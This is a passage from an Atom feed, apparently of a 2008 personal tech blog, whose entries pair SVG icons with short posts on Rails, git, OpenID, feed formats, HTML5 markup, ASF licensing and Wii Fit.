+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="75" height="113" viewBox="0 0 75 113">
+<path d="M44,13c-42,39,-46,60-12,54c1-1,1,0,1,5c0,7,0,9,4,9c5,0,4-1,4-9c0,-4-1-8,0-9c2-9,0-11-7-7c-14,8,-26,4,2-21l14-14c8,-8,0,-15-7-7" fill="#838"/>
+<circle r="7" fill="#838" cx='38' cy='93'/>
+</svg>
+<p><a href="http://www.dehora.net/journal/2008/07/01/june-31st/"><cite>Bill de hÓra</cite></a>: <em>You’re seeing this error because you have DEBUG = True in your Django settings file. Change that to False, and Django will display a standard 404 page.</em></p>
+<p><b>Update</b>: seems to be better now.  Will leave with <a href="http://www.dehora.net/journal/2008/07/">this</a> somewhat odd page.</p></div></content>
+    <published>2008-06-30T19:45:52-04:00</published>
+    <updated>2008-06-30T20:20:28-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2862</id>
+    <link href="/blog/2008/06/26/Unable-to-Complete-the-Call-as-Dialed"/>
+    <link rel="replies" href="2862.atom" thr:count="11" thr:updated="2008-06-30T21:48:09-04:00"/>
+    <title>Unable to Complete the Call as Dialed</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p><a href="http://www.tbray.org/ongoing/When/200x/2008/06/26/TLDs">Tim Bray</a>: <em>I’m not sure whether this <a href="http://www.theregister.co.uk/2008/06/26/icann_approves_customized_top_level_domains/">free-TLD</a> idea is a good or bad thing in the big picture</em></p>
+<p>Consider the fun that will occur when existing software is presented with email addresses that contain non-latin characters.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="130" height="77" viewBox="0 0 130 77">
+  <path d="M2,12l8-6h11v11l-6,8zM62,12l8-6h11v11l-6,8zM2,62l8-6h11v11l-6,8zM62,62l8-6h11v11l-6,8z" fill="#fe898b"/>
+  <path d="M2,12h13v13h-13zM62,12h13v13h-13zM2,62h13v13h-13zM62,62h13v13h-13z" fill="#cb0612"/>
+
+  <path d="M23,12l8-6h29v11l-5,7h-4v9l-6,7zM59,68l-5,6l-30-11l6-7h3v-8l6-5h11v14h9z" fill="#52a9ff"/>
+  <path d="M23,12h32v12h-10v16h-12v-16h-10zM54,74h-30v-11h9v-15h12v15h9z" fill="#5c64b5"/>
+
+  <path d="M84,12l8-6c18-4,38,19,34,27l-5,6zM84,63c18,4,38,5,42-21h-12l-5,6c-2,14,-18,10-20,10z" fill="#87f7a2"/>
+  <path d="M84,12c20-5,41,15,37,27h-12c0-12-8-15-25-15zM84,75c20,3,41-15,37-27h-12c0,12-8,15-25,15z" fill="#18bf73"/>
+</svg>
+<p><a href="http://www.tbray.org/ongoing/When/200x/2008/06/26/TLDs"><cite>Tim Bray</cite></a>: <em>I’m not sure whether this <a href="http://www.theregister.co.uk/2008/06/26/icann_approves_customized_top_level_domains/">free-TLD</a> idea is a good or bad thing in the big picture</em></p>
+<p>When I was a young’un, <a href="http://en.wikipedia.org/wiki/North_American_Numbering_Plan#History">telephone area codes in North America</a> had a zero or a one a the middle digit, and none of the exchanges in such area codes had such.  This enabled telephone switching equipment to detect whether the number you were dialing was a local or long distance number without requiring a one to be dialed first.  Eventually, phone numbers became scarce, and this was ditched.</p>
+<p>This meant that the <abbr title="Private Branch eXchange">PBX</abbr> equipment in a number of locations were unable to make calls to these new numbers, and had to be replaced.</p>
+<p>The modern equivalent of this may be <a href="http://www.regular-expressions.info/email.html">email addresses</a>.  Consider the fun that will occur when existing software is presented with email addresses that contain non-latin characters.</p></div></content>
+    <updated>2008-06-26T20:42:00-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2861</id>
+    <link href="/blog/2008/06/24/Minimalist-Markup"/>
+    <link rel="replies" href="2861.atom" thr:count="29" thr:updated="2008-06-28T01:16:15-04:00"/>
+    <title>Minimalist Markup</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>While <a href="http://tomayko.com/writings/administrative-debris">Ryan</a>, <a href="http://www.b-list.org/weblog/2008/jun/15/minimal/">James</a>, and <a href="http://diveintomark.org/archives/2008/06/21/minimalism">Mark</a> have been pursing a minimalist design from a presentation perspective, I’ve been quietly pursuing a minimalist design from a markup perspective.</p>
+<p>My <a href="http://rails.intertwingly.net/blog/">front page</a> (under development) will be <a href="http://html5.validator.nu/?doc=http%3A%2F%2Frails.intertwingly.net%2Fblog%2F">valid HTML5</a> and yet have absolutely no <code>div</code> or <code>span</code> elements, no inline <code>style</code> or <code>class</code> attributes, and no <code>table</code> or <code>img</code> elements used purely for layout purposes.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <path d="M38,38c0-12,24-15,23-2c0,9-16,13-16,23v7h11v-4c0-9,17-12,17-27c-2-22-45-22-45,3zM45,70h11v11h-11z" fill="#371"/>
+  <circle cx="50" cy="50" r="45" fill="none" stroke="#371" stroke-width="10"/>
+</svg>
+<p>While <a href="http://tomayko.com/writings/administrative-debris">Ryan</a>, <a href="http://www.b-list.org/weblog/2008/jun/15/minimal/">James</a>, and <a href="http://diveintomark.org/archives/2008/06/21/minimalism">Mark</a> have been pursing a minimalist design from a presentation perspective, I’ve been quietly pursuing a minimalist design from a markup perspective.  I’m not sure when it changed, but Firefox 3.0, Safari 3.1.1, and Opera 9.5 now all support units of <em>em</em> in SVG dimensions.</p>
+<p>This means that my <a href="http://rails.intertwingly.net/blog/">front page</a> (under development) can be <a href="http://html5.validator.nu/?doc=http%3A%2F%2Frails.intertwingly.net%2Fblog%2F">valid HTML5</a> and yet have absolutely no <code>div</code> or <code>span</code> elements, no inline <code>style</code> or <code>class</code> attributes, and no <code>table</code> or <code>img</code> elements used purely for layout purposes.</p>
+<p>I have more work to do on individual post pages and on the archives.  The archives will continue to employ a table for the calendar.</p></div></content>
+    <updated>2008-06-24T19:10:50-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2860</id>
+    <link href="/blog/2008/06/23/OpenID-Check-on-Rails"/>
+    <link rel="replies" href="2860.atom" thr:count="0"/>
+    <title>OpenID Check on Rails</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Looking at <a href="http://agilewebdevelopment.com/plugins/openidauthentication">openidauthentication</a>, it seem to do everything <a href="http://www.intertwingly.net/blog/2006/12/28/Unobtrusive-OpenID">I want</a>.  Since I am looking to check an identity during the processing of a request, I need to somehow have the id of the unprocessed record tag alone with the identity request.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <path d="M43,90c-88,-16,-21,-86,41,-51l9,-6v17h-26l8,-5c-55,-25,-86,29,-32,36z" fill="#ccc"/>
+  <path d="M43,90v-75l14,-9v75z" fill="#f60"/>
+</svg>
+<p>Looking at <a href="http://agilewebdevelopment.com/plugins/openidauthentication">openidauthentication</a>, it doesn’t seem to do everything <a href="http://www.intertwingly.net/blog/2006/12/28/Unobtrusive-OpenID">I want</a>.  Since I am looking to check an identity during the processing of a request, I don’t need a ‘login’, instead I need to somehow have the id of the unprocessed record tag alone with the identity request.</p>
+<p>The <a href="http://www.danwebb.net/2007/2/27/the-no-shit-guide-to-supporting-openid-in-your-applications">No Shit Guide</a> is quite a bit simpler, but is based on the <a href="http://openidenabled.com/ruby-openid/">1.1.x version of the ruby-openid</a> library.</p>
+<p><a href="http://intertwingly.net/stories/2008/06/23/openid_controller.rb">This controller</a> contains a simpler pair of methods (one public, one protected) that does what I want and can easily be adapted.  Simply drop these two methods into your favorite controller and modify the actions that are taken at the obvious points (DiscoveryFailure, success, failure, cancel, other).  At the moment, all that is done is that the data is logged and/or stashed into a session, but it could easily be modified so that a failure or cancel could trigger moderation, or a required preview, or a captcha, or whatever.</p></div></content>
+    <updated>2008-06-23T15:20:57-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2859</id>
+    <link href="/blog/2008/06/19/Intertwingly-on-Git"/>
+    <link rel="replies" href="2859.atom" thr:count="4" thr:updated="2008-06-21T08:17:00-04:00"/>
+    <title>Intertwingly on Git</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">I’ve installed git and gitweb, and put up my <a href="http://code.intertwingly.net/public/git/?p=riggr;a=summary">initial code explorations</a> for a Ruby on Rails based rewrite of this blog’s software.  Neither the code nor the tests are all that much just yet, mostly just scaffolding and CSS, a small bit of controller logic, and the autogenerated tests and fixtures.  But anybody out there feels compelled to try it out, go for it.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="120" height="70" viewBox="0 0 120 70">
+  <path d="M20,20h20m5,0h20m5,0h20" stroke="#c00000" stroke-width="10"/>
+  <path d="M20,40h20m5,0h20m5,0h20M30,30v20m25,0v-20m25,0v20" stroke="#008000" stroke-width="6"/>
+</svg>
+<p>I’ve installed <a href="http://git.or.cz/">git</a> and <a href="http://git.or.cz/gitwiki/Gitweb">gitweb</a>, and put up my <a href="http://code.intertwingly.net/public/git/?p=riggr;a=summary">initial code explorations</a> for a Ruby on Rails based rewrite of this blog’s software.  Neither the code nor the tests are all that much just yet, mostly just scaffolding and CSS, a small bit of controller logic, and the autogenerated tests and fixtures.  But anybody out there feels compelled to try it out, go for it:</p>
+<pre class="code">git clone http://code.intertwingly.net/public/git/riggr
+rake db:migrate
+rake test</pre>
+<p>Initial impressions:</p>
+<ul>
+<li>Git is <b>fast</b></li>
+<li>The integration with ssh and pre/post commit hooks makes even single developer apps a breeze.</li>
+</ul>
+
+<p>Links I found useful in the process: </p>
+<ul>
+<li><a href="http://autopragmatic.com/2008/01/26/hosting-a-git-repository-on-dreamhost/">Hosting a git repository on dreamhost</a></li>
+<li><a href="http://toolmantim.com/article/2007/12/5/setting_up_a_new_rails_app_with_git">Setting up a new Rails app with Git</a></li>
+<li><a href="http://ozmm.org/posts/git_post_commit_for_profit.html">Git post-commit for profit</a></li>
+<li><a href="http://tomayko.com/writings/the-thing-about-git">The Thing About Git</a></li>
+</ul></div></content>
+    <updated>2008-06-19T16:09:25-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2858</id>
+    <link href="/blog/2008/06/19/Atom-PubSub-module-for-ejabberd"/>
+    <link rel="replies" href="2858.atom" thr:count="1" thr:updated="2008-06-19T22:29:55-04:00"/>
+    <title>Atom-PubSub module for ejabberd</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="80" height="120" viewBox="0 0 80 120">
+  <path d="M9,15c-1,21,4,11,6,9c10-15,48-6,53,12c14,38-30,30-23,67c1,1,3,2,4-1c-10-29,44-25,22-70c-10-29-52-27-62-17z
+M18,80c5,6,13,9,20,6c3-1,3,1,2,3c-5,3-20,2-26-5c-5-5,0-12,4-4z
+M18,92c5,3,9,5,18,5c7-2,6,3,2,4c-5,2-20-3-22-6c-10-6-7-11,2-3z
+M18,103c5,3,15,7,20,4c5-3,7-1,2,2c-5,5-21,2-26-3c-8-5-3-13,4-3z" fill="#C00"/>
+  <path d="M20,64c-1-13,9-15,12-6c5-5,20-8,6,13c-3,5-5,4-4-1c13-15,2-13-3-8c-1-11-9-7-7,2c1,7-2,7-4,0z" fill="#fb0"/>
+</svg>
+<a href="http://www.cestari.info/2008/6/19/atom-pubsub-module-for-ejabberd"><cite>Eric Cestari</cite></a>: <em>This module will offer an AtomPub interface to ejabberd PubSub data... The AtomPub interface passes the Atom Protocol Exerciser (though some warnings remain).  It means that any AtomPub clients will be able to post to a specific node in your PubSub tree.  It also means that your PubSub tree will also be available as an AtomFeed.</em>  [via <a href="http://intertwingly.net/blog/2007/09/27/Comment-Notification-via-XMPP#c1213866387"><cite>kael</cite></a>]</div></content>
+    <updated>2008-06-19T06:35:00-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2857</id>
+    <link href="/blog/2008/06/16/Intertwingly-on-Rails"/>
+    <link rel="replies" href="2857.atom" thr:count="10" thr:updated="2008-07-04T07:46:07-04:00"/>
+    <title>Intertwingly on Rails</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Views: <a href="http://rails.intertwingly.net/blog/">index</a>, <a href="http://rails.intertwingly.net/blog/2008/6/14/Advertise-One-Feed-Format">post</a>, <a href="http://rails.intertwingly.net/blog/comments.html">comments</a>, <a href="http://rails.intertwingly.net/blog/archives/2008/06">archives</a></p>
+<p>This clearly is just modest beginnings.  A snapshot of existing data.  Read-only views at this point.  No caching.</p>
+<p>Technology is Rails 2.0.2 on <a href="http://www.sqlite.org/">SQLite3</a> using <a href="http://www.modrails.com/">Phusion Passenger</a> on <a href="http://www.dreamhost.com/">Dreamhost</a>.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+  <rect fill="#039" x="0" y="3" height="95" width="95" rx="15"/>
+  <path d='M20,56L19,35C19,30,27,20,33,21L55,21A30,30,0,0,1,20,56Z' fill='#369' stroke='#369' stroke-linejoin='round' stroke-width='5px'/>
+  <path d='M17,67A37,37,0,0,0,67,18A36,36,0,1,1,17,67' fill='#FFF'/>
+</svg>
+<p>Views: <a href="http://rails.intertwingly.net/blog/">index</a>, <a href="http://rails.intertwingly.net/blog/2008/6/14/Advertise-One-Feed-Format">post</a>, <a href="http://rails.intertwingly.net/blog/comments.html">comments</a>, <a href="http://rails.intertwingly.net/blog/archives/2008/06">archives</a></p>
+<p>This clearly is just modest beginnings.  A snapshot of existing data.  Read-only views at this point.  No caching.</p>
+<p>Technology is Rails 2.0.2 on <a href="http://www.sqlite.org/">SQLite3</a> using <a href="http://www.modrails.com/">Phusion Passenger</a> on <a href="http://www.dreamhost.com/">Dreamhost</a>.</p>
+<p>Installation would have been a simple <abbr title="Secure CoPy">scp</abbr> except for two issues: despite what it says in <a href="http://rails.dreamhosters.com/">this list</a>, the sqlite3-ruby gem does not appear to be installed.  And the current date on the machine appears to be Feb 15, 3155.</p>
+<p>For the model part, I can’t quite bear to break with the idea of flat files yet, so the model consists of two tables: posts and comments, and each contain dates and file name parts only.  The remainder of the model is populated using an after_find hook from the flat files.</p>
+<p>With my current Intertwingly, I had three views that had diverged over time, as well as a “partial” which contained the navigation bar.  The <a href="http://intertwingly.net/blog/">front page</a> (and <a href="http://intertwingly.net/blog/comments.html">comments page</a>) are clean XHTML5, <a href="http://intertwingly.net/blog/2008/06/13/Advertise-One-Feed-Format">individual posts</a> are XHTML1, and the <a href="http://intertwingly.net/blog/archives/">archives</a> are based a layout that I used back when I was on Radio Userland.  In the Rails implementation, I have four views and a layout (index and comments becoming separate views).  Having a common layout encourages consistency, and you can see the difference in the archive view already.  More work needs to be done on the individual posts view.</p>
+<p>The controller methods are positively pedestrian at this point.  They simply obtain the necessary information from the model, and then proceed to render the associated view.</p>
+<p>This is but a modest beginning... allowing people to enter new comments, openid, implementing spam avoidance measures, automated extraction of excerpts, ... the list goes on and on.  But first, I plan to put this code under version control (probably <a href="http://git.or.cz/">git</a>), and implement a test suite.</p></div></content>
+    <updated>2008-06-16T14:53:44-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2856</id>
+    <link href="/blog/2008/06/13/Advertise-One-Feed-Format"/>
+    <link rel="replies" href="2856.atom" thr:count="6" thr:updated="2008-06-16T14:54:38-04:00"/>
+    <title>Advertise One Feed Format</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <rect fill="#F80" x="0" y="3" height="95" width="95" rx="15"/>
+  <circle cx="18" cy="81" r="9" fill="#FFF"/>
+  <path d="M48,84s0-33-33-33 M75,84s0-60-60-60"
+    stroke-linecap="round" stroke-width="15" stroke="#FFF" fill="none"/>
+</svg>
+<p><a href="http://www.somebits.com/weblog/tech/bad/atom-vs-rss-wtf.html">Nelson Minar</a> starts a meme.  <a href="http://rc3.org/2008/06/13/pick-one-feed-format/">Rafe Colburn</a> waters it down.  I’ve watered it down even further.</p>
+<p>Whatever you call your feed, Safari will call it RSS.  Don’t sweat the small stuff.</p>
+<p>Which format should you pick?  I’d suggest that you pick whichever one that you can consistently produce with the fewest errors and warnings detected by the <a href="http://feedvalidator.org/">feedvalidator</a>.  Test with <a href="http://www.intertwingly.net/stories/2004/04/14/i18n.html">Iñtërnâtiônàlizætiøn</a> and <a href="http://www.intertwingly.net/blog/2006/07/14/Another-Month">ampersands</a> in titles.  <a href="http://groups.google.com/group/feedvalidator-users/browse_thread/thread/3dfdad4905b72f9b">June</a>, particularly in the <a href="http://www.timeanddate.com/library/abbreviations/timezones/eu/bst.html">UK</a> is also a good time to test.</p></div></content>
+    <updated>2008-06-13T20:42:30-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2855</id>
+    <link href="/blog/2008/06/11/RX-for-Pain"/>
+    <link rel="replies" href="2855.atom" thr:count="2" thr:updated="2008-06-12T11:34:06-04:00"/>
+    <title>RX for Pain</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M20,100l74-5l6-75zM61,35l37-2l-29-24z' fill='#b11'/>
+<path d='M21,100l74-5l-47-4zM98,33c4-12,5-29-14-33l-15,9l29,24z' fill='#811'/>
+<path d='M7,67l14,33l11-38z' fill='#d44'/>
+<path d='M29,61l42,13l-10-42zM56,0h28l-16,10zM1,51l-1,29l7-13z' fill='#c22'/>
+<path d='M32,61l39,13c-14,13-30,24-50,26z' fill='#a00'/>
+<path d='M61,35l10,39l17-23zM32,61l16,30c9-5,16-11,23-17l-39-13z' fill='#900'/>
+<path d='M61,35l27,17l10-20l-37,3z' fill='#800'/>
+<path d='M71,74l23,21l-6-44zM0,80c1,19,15,20,21,20l-14-33l-7,13zM7,67l-2,26c4,6,9,7,15,6c-4-11-13-32-13-32zM69,9l30,4c-1-7-6-11-15-13l-15,9z' fill='#911'/>
+<path d='M1,51l6,16l25-5l29-27l8-26l-13-9l-22,8c-6,7-20,19-20,19c-1,1-9,16-13,24z' fill='#ebb'/>
+<path d='M21,21c15-14,34-23,42-16c7,8-1,26-16,40c-14,15-33,24-41,17c-7-7,1-26,15-41z' fill='#b11'/>
+</svg>
+<p><a href="http://www.tbray.org/ongoing/When/200x/2008/06/10/RX-Work"><cite>Tim Bray</cite></a>: <em>There is quite a bit of disgruntlement about XML and Ruby right at this point in time</em></p>
+<p>I’m scheduled to give a <a href="http://en.oreilly.com/oscon2008/public/schedule/detail/2969">talk about this subject and more</a> at <a href="http://www.conferences.oreilly.com/oscon">OSCON</a> next month.  Short summary: if you are a markup geek (i.e., deal with things like HTML or XML), and expect things to “just work”, now is not a great time to be exploring Ruby 1.9.  The biggest issue is that <a href="http://rubyforge.org/tracker/index.php?func=detail&amp;aid=17666&amp;group_id=494&amp;atid=1973">bug</a> <a href="http://rubyforge.org/tracker/index.php?func=detail&amp;aid=17700&amp;group_id=426&amp;atid=1698">reports</a> and <a href="http://intertwingly.net/blog/2008/01/04/Builder-on-1-9">suggestions</a> don’t seem to attract the necessary cycles from the key developers.</p>
+<p>Hopefully, venues like OSCON can help draw attention to this important issue.</p></div></content>
+    <updated>2008-06-11T10:40:52-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2854</id>
+    <link href="/blog/2008/06/06/Sausages-and-Uncertainty"/>
+    <link rel="replies" href="2854.atom" thr:count="20" thr:updated="2008-06-11T18:44:14-04:00"/>
+    <title>Sausages and Uncertainty</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Yesterday we had an ASF members meeting.  You can see the board results <a href="http://www.jimjag.com/imo/index.php?/archives/214-ASF-Board-Elections.html">here</a>.  I was asked about the status of the <a href="http://people.apache.org/~rubys/3party.html">ASF third party licensing policy</a>.  Luckily I had <a href="http://wiki.apache.org/legal/Ramblings">prepared in advance</a>.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="104" height="96" viewBox="0 0 104 96">
+  <desc><![CDATA[
+    Scales of Justice.  Based on work
+    Copyright 2007 by Ken A L Coar.  All rights reserved.
+    The design and this SVG rendition are protected by copyright law,
+    and may not be used or reproduced without the express
+    permission of the author, coar@apache.org.
+  ]]></desc>
+  <g fill='#cbb820' stroke='#cbb820'>
+    <path d='M1,69l13-51l13,51M77,69l13-51l13,51' fill='none'/>
+    <path d='M0,69c5,9,23,9,28,0zM76,69c5,9,23,9,28,0zM48,94l2-88l2-4l2,4l2,88z' stroke='none'/>
+    <path d='M52,14c6-17,35,9,40,0c-2,14-34-14-40,5c-6-19-38,9-40-5c5,9,34-17,40,0'/>
+  </g>
+</svg>
+<p>I’ve often found lawyers frustrating.  No matter how carefully you craft a question to only permit answers of <b>yes</b> or <b>no</b>, they always seem to find a way to pick door number 3.</p>
+<p>Given that, I should have known better in <a href="http://www.apache.org/foundation/records/minutes/2007/board_minutes_2007_07_18.txt">July</a> when I volunteered to take over a vacancy as Chair of the ASF Legal Affairs Committee when <a href="http://en.oreilly.com/oscon2008/public/schedule/speaker/3809">Cliff Schmidt</a> decided to devote more of his time to <a href="http://www.literacybridge.org/about.html">Literacy Bridge</a>.  And I certainly should have known better than to volunteer to take an unfinished <a href="http://people.apache.org/~rubys/3party.html">third party licensing policy</a> to completion.</p>
+<p>Fast forward to yesterday.  We had an ASF members meeting.  You can see the board results <a href="http://www.jimjag.com/imo/index.php?/archives/214-ASF-Board-Elections.html">here</a>.  New members were elected too — those names will dribble out as they are informed and (hopefully) accept.</p>
+<p>At that meeting, the tables were turned.  Instead of it being me crying for a simple yes or no answer, a number of members, led by <a href="http://www.betaversion.org/~stefano/">Stefano</a> and <a href="http://enthusiasm.cozy.org/">Ben</a> led the charge and came after me complete with torches and pitchforks.  OK, so I’m exaggerating slightly.  There were no torches.  And only <b>really</b> tiny pitchforkes.  Actually they weren’t pitchforks at all — more like Monty Python-esque <a href="http://www.youtube.com/watch?v=9V7zbWNznbs">taunting</a>.  Oh, and it was not directed at me, exactly.  Just at the lack of closure.  On what <b>clearly</b> must be a series of simple <em>yes</em> and <em>no</em> questions.  I mean really.  For example, is the <a href="http://markmail.org/message/aw7fexnksqq2gvao">Creative Commons Attribution license</a> version 2.5 compatible with the <a href="http://www.apache.org/licenses/LICENSE-2.0.html">Apache License version 2.0</a>?  Surely <b>that</b> is a yes or no question, right?  Actually, <a href="http://markmail.org/message/jafgk762wylbhzru">no</a>.  But we can quickly come up with a <a href="http://markmail.org/message/aarfydgmuay6cgg6">set of guidelines</a> that everybody can live with.  And, after all is said and done, isn’t that what everybody really needs?</p>
+<p>But I digress.  Where was I?  Oh, yes, the meeting.  Luckily I had <a href="http://wiki.apache.org/legal/Ramblings">prepared in advance</a>.</p>
+<p>My plans here on out is to push for <a href="http://people.apache.org/~rubys/3party.html#category-x">Category X licenses</a> as well as the <a href="http://people.apache.org/~rubys/3party.html#transition-examples">transition examples</a> to be added to the <a href="http://www.apache.org/legal/resolved.html">resolved legal questions</a>.  And to state that the work on best practices and specific limited exemptions for all other licenses (effectively all the licenses known to be in category B, and all licenses yet to be explored) is ongoing.  And with that jedi-like hand wave coupled with the Apache secret weapon: namely an open invitation for all those who are affected by this to join legal-discuss and help work out the issues (also known as the <em>where’s your patch?</em> or <em>thanks for volunteering</em> defense), the villages will once again be peaceful.</p>
+<p>Wish me luck.  Oh, and don’t tell anybody about my secret plan.  Nobody reads my blog anyway.</p>
+<p>And if any of you out there are lawyers: I’m sorry for the trouble I’ve given you in the past.</p></div></content>
+    <updated>2008-06-06T08:20:07-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2853</id>
+    <link href="/blog/2008/06/05/Rails-2-1"/>
+    <link rel="replies" href="2853.atom" thr:count="3" thr:updated="2008-06-15T00:44:07-04:00"/>
+    <title>Rails 2.1</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M1,12c0-7,4-11,11-11h87v87c0,5-5,11-11,11h-87z' fill='#723' stroke='#712' stroke-width='2'/>
+
+<path d='M13,22h80v60l-40,15l-39-16z' fill='#a33'/>
+<path d='M25,2l27,18l28,11l18,48v-77z' fill='#a54'/>
+<path d='M80,31l19,8l-9,20z' fill='#d5a67c'/>
+<path d='M78,2l2,29l19,8z' fill='#c98'/>
+<path d='M53,20l25-18l2,29z' fill='#b76'/>
+<path d='M90,58l8,20l-20,7z' fill='#b65'/>
+<path d='M98,78l-47,18l2,2h36zM25,2l28,18l-27,10l-12,27l-11-19z' fill='#a72d3a'/>
+<path d='M14,56l-11,23l26,6z' fill='#924'/>
+
+<path d='M93,23c-38-35-78,17-77,69h41c-17-52,7-81,35-67zM62,80l-7-1l2,5h7zM15,72l-7-1l-2,7l8,1zM58,62l-5-3v5l6,3zM22,47l-7-3l-2,6l7,3zM59,48l-4-4l-1,4l4,4zM62,31l-2,4l3,3l1-3zM34,26l-4-3l-4,4l5,4zM73,25h-4l1,4l3-1zM86,24h-4v2h4zM87,14l-4-3v3l4,2zM50,13l-3-4l-4,3l3,4zM68,10l-2-4h-5l2,4z' fill='#FFF'/>
+</svg>
+<a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails, Third Edition</a> has been updated to <a href="http://weblog.rubyonrails.org/2008/6/1/rails-2-1-time-zones-dirty-caching-gem-dependencies-caching-etc">Rails 2.1</a>.  The biggest visible change is the <a href="http://ryandaigle.com/articles/2008/4/2/what-s-new-in-edge-rails-utc-based-migration-versioning">UTC-based migrations</a>.  It is amazing how fast <a href="http://pragprog.com/titles/rails3/errata#e32259">beta readers</a> pick up on details such as these.</div></content>
+    <updated>2008-06-05T09:51:58-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2852</id>
+    <link href="/blog/2008/06/04/Wii-Fit"/>
+    <link rel="replies" href="2852.atom" thr:count="4" thr:updated="2008-06-11T16:40:52-04:00"/>
+    <title>Wii Fit</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Bought a WII fit two weeks ago when it first went on sale.  It hasn’t replaced going to the gym, but I will say that my wife and I have integrated it into our daily lives.  I recommend it.  Not because of the <a href="http://www.youtube.com/watch?v=_iYBmAVuBns">amazing graphics</a>, but because the “training” is entertaining and psychological engineering is impressive — everything from continuous encouragement in the form of cheerful “good jobs!” to continuous measuring, tracking and reporting on your progress.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="143" height="70" viewBox="0 0 143 70">
+  <path d='M2,6h14l12,45l11-41c3-7,13-7,16,0l11,41l12-45h14l-17,58c-3,7-13,7-16,0l-12-39l-12,39c-3,7-13,7-16,0zM99,68v-43h14v43zM126,68v-43h14v43z' fill='#999'/>
+  <circle cx='133' cy='10' fill='#999' r='8'/>
+  <circle cx='106' cy='10' fill='#999' r='8'/>
+</svg>
+<p>Bought a WII fit two weeks ago when it first went on sale.  It hasn’t replaced going to the gym, but I will say that my wife and I have integrated it into our daily lives.  I recommend it.  Not because of the <a href="http://www.youtube.com/watch?v=_iYBmAVuBns">amazing graphics</a>, but because the “training” is entertaining and psychological engineering is impressive — everything from continuous encouragement in the form of cheerful “good jobs!” to continuous measuring, tracking and reporting on your progress.</p>
+<p>I find that I’m good at activities that require me to stand relatively still on two feet — things like the “Warrior Pose” and even “Table Tilt”, but not quite so good at activities either that require rapid shifting such as “Soccer Heading” or standing on one foot such as “Tree”.  I can do “Push Ups and Side Planks” with ease, but can’t for the life of me do “Hula Hoops”.  I am getting better at “Ski Slalom” though — I’ve actually managed to make it down the hill without missing any of the flagged regions — once.</p></div></content>
+    <updated>2008-06-04T19:21:57-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2851</id>
+    <link href="/blog/2008/05/29/Scaling-Rails-Down"/>
+    <link rel="replies" href="2851.atom" thr:count="4" thr:updated="2008-06-13T07:28:38-04:00"/>
+    <title>Scaling Rails... Down</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>As I proceed with updating <a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails</a> to support Rails 2.x, I have become impressed with how Rails has become even <b>more</b> focused on scaling <b>down</b> than it was in Rails 1.x.  Some of the credit goes to Rails itself (changes in scaffolding, migration), but much of the credit goes to making sqlite3 the default.</p>
+<p>I am having difficulty expressing the concept, but I have two examples that I can express in code.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M1,12c0-7,4-11,11-11h87v87c0,5-5,11-11,11h-87z' fill='#723' stroke='#712' stroke-width='2'/>
+
